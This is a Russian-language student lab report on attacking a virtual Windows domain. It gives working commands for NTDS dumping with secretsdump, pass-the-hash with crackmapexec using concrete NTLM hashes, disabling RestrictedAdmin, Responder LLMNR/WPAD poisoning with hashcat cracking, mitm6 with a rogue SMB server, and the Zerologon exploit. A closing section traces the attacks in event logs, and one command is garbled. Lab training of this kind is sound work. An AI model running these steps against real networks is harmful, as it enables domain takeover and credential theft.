---
# System prepended metadata

title: Windows_Basic-Остапенко_Владимир-Практика-6

---

# Windows_Basic-Остапенко_Владимир-Практика-6

## Практическая работа №1 Базовая работа с виртуальной лабораторией

### Задание
1) Провести анализ базы NTDS
2) Выполнить атаку “Path-the-hash”
3) Реализовать атаки на базовые протоколы Windows

---


### Часть 1. Базовые атаки на инфраструктуру Windows

### Этап 1. Анализ базы NTDS
#### 1.1 Бэкап NTDS

Для работы с NTDS, использую консоль, запущенную от имени администратора (на dc1).
Далее, поочерёдно вписываю следующие команды:

 ```bash
 ntdsutil 
activate instance ntds
ifm
create full C:\temp
```

Тем самым активируя процесс Install From Media, позволяющий сделать копию NTDS с необходимыми ветками реестра.

![](https://i.imgur.com/iCRUoJx.png)

> Файлы сохронены в директории **C:\temp**. [color=#3b75c6]
> 
>![](https://i.imgur.com/vKDAe7b.png)


#### 1.2 Перенос NTDS

Далее, с помощью SMB зайду на сервер Win с Kali c помощью команды:

```bash
smbclient  '\\192.168.10.200\C$' -U PT/Administrator
```

После чего скопируем файлы на Kali:

```bash
recurse ON
prompt OFF
lcd /home/user
mget temp
```

![](https://i.imgur.com/TWowevl.png)
:::success
:accept: Файлы скопированы. Успех!
:::

#### 1.3 Анализ NTDS

Для анализа дампа скачаю и установлю impacket:

```bash
git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .
```

![](https://i.imgur.com/d8XzJXU.png)
![](https://i.imgur.com/4k3pQDV.png)
![](https://i.imgur.com/CykOEjJ.png)

   

Далее из директории impacket перехожу в директорию examples и выполняюю следующую команду:


```bash
python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL
```
 
 ![](https://i.imgur.com/ez2LytQ.png)
 

:::success
:accept: Скрипт выполнен успешно. 
Мы получили много полезной информации, которая пригодится далее.
:::
 
 
### Этап 2. Path-the-hash

#### 2.1 Crackmapexec

Для начала проанализирую хосты

![](https://i.imgur.com/oWMFvhA.png)

:::warning
**192.168.10.200 (dc1)** и **192.168.10.201 (dc2)** - поддерживает SMB протокол.
Так же узнал версию ОС, её имя и имя домена
:::

Теперь попробую выполнить команду от имени администратора на dc1

```bash
crackmapexec smb 192.168.10.200 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42 -x whoami

```

![](https://i.imgur.com/sua2P9O.png)

:::success
:accept: Успех! Команда выполнена от имени пользователя **pt\administrator**
:::

Так же посмотрим список сетевых папок, доступных конкретному пользователю (на этот раз проверим пользователя ADMPetr):

```bash
crackmapexec smb 192.168.10.201 -u ADMPetr -H aad3b435b51404eeaad3b435b51404ee:05df2fd1109e3d3b60f110965f6af128 --shares
```

![](https://i.imgur.com/TBP3o9d.png)

:::success
:accept: Успех. Получен список сетевых папок, доступных **ADMPetr**
:::

Теперь воспользуюсь утилитой, позволяющей запустить cmd windows для удаленной передачи команд - **smbexec**

![](https://i.imgur.com/XpaejB4.png)

::: success
Успех!
:::

#### 2.2 XFreeRDP

Для начала предоставлю удалённый доступ по RDP для администраторов доменана на dc1.

![](https://i.imgur.com/luW4I0O.png)
![](https://i.imgur.com/7ytDHk5.png)

Попробую зайти на dc1. Подтверждаю сертификат

![](https://i.imgur.com/cUNnR4E.png)

Т.к. действует политика restricted admin, доступ не был получен

![](https://i.imgur.com/Bes3BVv.png)

Чтобы это справить, изменю параметр реестра на dc1

![](https://i.imgur.com/tE6xRnx.png)


Была использована следующая команда:

```bash
New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force
```

>Т.к.ранее была включена политика аудита PoSH -- обнаружил выполнение этой команды в Event Viewer
>![](https://i.imgur.com/42R6bWi.png)

После чего, можно спокойно подключиться к dc1 c помощью хеша, используя xfreerdp 
![](https://i.imgur.com/s9v6osE.png)


### Этап 3. Атаки на базовые протоколы Windows

#### NBT-NS & LLMNR & mDNS

Сначала ознакомлюсь с теорией: 

:::info
Важной частью эксплуатации будет WPAD -- специальный протокол для настройки проксирования в системе Win. Система всегда запрашивает файл с настройками wpad.dat, а злоумышленник может подсунуть свой файл, став прокси-серверов для Win и таким образом осуществив атаку "человек посередине".
**NBT-NS** (NetBIOS Name Service) -- протокол, позволяющий компьютерам в локальной сети обращаться друг к другу по именам, не используя сервер DNS.
**LLMNR (Link-Local Multicast Name Resolution)** -- протокол для поиска и преобразования базовых имен внутри небольшой сети. Он же -- сетевое обнаружение. Использует мультикаст (то есть почти как широковещательный трафик, его в сети смогут увидеть все).
**mDNS (Multicast DNS)** -- суть такая же, как и у LLMNR. DNS через Мультикаст.
Все вместе технологии реализуют Zeroconf.
Основная уязвимость в этих протоколах -- отсутствие подтверждения информации. Мы можем сгенерировать любой ответ на запрос ПК по этим протоколам.
:::



После, решил начать со справки утилиты **Responder**, использовав команду:

```bash
responder -h
```

![](https://i.imgur.com/X5TJBjr.png)


#### Анализ инфраструктуры через Responder

Запускаю анализ **Responder**

```bash
responder -I eth0 -A
```

![](https://i.imgur.com/2xI3x5M.png)


От имени PC1 обращусь к несуществующему сетевому ресурсу

![](https://i.imgur.com/1LTrVd3.png)

Анализатор видит LLNMR, NBNS запросы
![](https://i.imgur.com/aWecx0D.png)

#### Режим атаки:

Теперь перейду к самой атаке. 

```bash
responder -I eth0 -wFv
```

> где: [color=#130000] 
> -I eth0 -- выбор интерфейса,
> - w -- отравление WPAD,
> - F -- попробовать принудить систему использовать старые протоколы аутентификации, если возможно,
> - v -- вывод подробной информации (в т.ч. перехваченного хэша).


Запущу **Responder**:

![](https://i.imgur.com/ognl1vK.png)

Вновь от pc1 обращусь к несуществующему сетевому ресурсу, и т.к. **Responder** притворяется этим ресурсом, видно окно аутентификации

![](https://i.imgur.com/EPWaJiL.png)

:::success
:accept: Успех **Responder** перехватывает аутентификационный токен
:::


![](https://i.imgur.com/ATcJa2R.png)


Теперь из полученого хэша, попробую забрутить пароль. Для перебора паролей воспользуйтесь файлом с **Git**: 

```bash
wget https://github.com/duyet/bruteforce-database/blob/master/2151220-passwords.txt
```

Брутить буду с помощью *Hashcat*

![](https://i.imgur.com/7Iv0ayO.png)
![](https://i.imgur.com/MrCL958.png)

:::success
:accept: Пароль был успешно подобран - **Qq123456**. Подбор занял 7 сек.
:::


#### mitm6

Первым делом, устанавливаю **mitm6** (c помщью pip)
![](https://i.imgur.com/jkp3fDV.png)

#### Выполнение атаки:

Обратим внимание на **настройки сетевого адаптера pc1**. Было:
![](https://i.imgur.com/11F7Uhi.png)


Kali Linux. Атака:

![](https://i.imgur.com/U2yzvgg.png)


Настройки сетевого адаптера pc1. После
![](https://i.imgur.com/ZiwnMoc.png)

Сейчас только подменил параметры у win10, обеспечив mitm. Чтобы атака прошла незаметно для пользователя, нужно воспользоваться способом, который позволит прикинуться ресурсом, который требует аутентификацию. Воспользуемся SMB.

Создание своего сервера SMB. Не отключая mitm6, создам SMB сервер:

```bash
python3 smbserver.py -smb2support SMB /root/SMB 
```

![](https://i.imgur.com/e2WRyOM.png)


А на Win10 через проводник зайду в домен

![](https://i.imgur.com/anmTBz1.png)

Увидим данные аутентификации в выводе программы

![](https://i.imgur.com/w3pJkYj.png)

:::success
:accept: **Успех**. Мы получили данные аутентификации. 
Ранее уже был вскрыват хэш с помощью *hashcat*, т.к. процедура аналогичная сейчас её повторять не буду.
:::

--- 


### Заключение

По итогу проделанной работы:

1) Проведён анализ базы NTDS
2) Выполнена атаку “Path-the-hash”
3) Реализованы атаки на базовые протоколы Windows
 
---

## Практическая работа №6.2 Компрометация доменной Windows-инфраструктуры.

### Задание
1) Провести эксплуатацию уязвимостей контроллера домена
2) Найти следы эксплуатации уязвимостей

---

### Подготовка

#### Активировация политики аудита машинных учетных записей
![](https://i.imgur.com/HRTpNqi.png)

> Путь до политики: 
> **Computer  Configuration/Policies/Windows Setting/Security Setting/Advanced Audit Policy Configuration/Audit Policies/Account Managemant** [color=#d21111]

:exclamation: Сразу ввожу команду gpupdate
![](https://i.imgur.com/vcehy80.png)

---

### Часть 2. Эксплуатация уязвимостей контроллера домена

В целях облегчения работы, в качестве репозитория с эксплойтом к уязвимости zerologon, использую предложенный в пракике вариант: 

```bash
git clone https://github.com/risksense/zerologon
```

![](https://i.imgur.com/R5vjMrc.png)

Перехожу в папку с экслойтом и ознакамливаюсь с файлом **README.md**

![](https://i.imgur.com/iZDYBqe.png)

В этом файле предложена инструкция к использованию эксплойта. Выполню её.

![](https://i.imgur.com/h2PBWfq.png)

 
> Команда: [color=#932133]
>```bash
>python3 set_empty_pw.py DC1 192.168.10.200
>```

:::success
:accept:  Скрипт обнулил пароль машинной учетной записи контроллера домена. 
:::

Следующий этап - дамп NTDS с помощью **secretsdump**. Данный инструмент был скачан раннее в составе пакета пентестерских утилит **impacket**.

Использую следующую команду:

```bash
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'PT/DC1$@192.168.10.200'
```

![](https://i.imgur.com/LF8d434.png)

С помощью полученных хешей учетных данных можно выполнять команды от любого пользователя. Проверю: 

![](https://i.imgur.com/esxkvkv.png)

Использую следующую команду:

```bash
python3 secretsdump.py -hashes crackmapexec smb 192.168.10.200 -u ADMPetr -H 05df2fd1109e3d3b60f110965f6af128 -x dir
```

:::success
:accept: Использование команды **dir** от имени **ADMPetr** прошло успешно.
:::

---


### Часть 3. Поиск следов эксплуатации уязвимостей

1) Нашёл ошибку **Netlogon** в журнале System:

![](https://i.imgur.com/U0V5fci.png)

2) В журнале Security, есть интересное событие *4742*.
![](https://i.imgur.com/h3OYLsG.png)

> ANONYMOUS LOGON - уже довольно подозрительный факт
> Ещё в логе видно заполненное поле password last set -- это значит, что пароль был изменён. При легитимном взаимодействии пароль на машинной учетной записи может менять только NETWORK SERVICE. И, если это происходит, генерируется ещё одно событие с id 5823

3) Проверим события с id 5823
![](https://i.imgur.com/aVIYA2e.png)
![](https://i.imgur.com/46nerQL.png)

Таких событий нет.



Пробую искать события с помощью PowerShell:
![](https://i.imgur.com/H7jgHgE.png)


--- 


### Заключение

По итогу проделанной работы:

1) Проведена эксплуатация уязвимостей контроллера домена
2) Найдены следы эксплуатации уязвимостей
 
---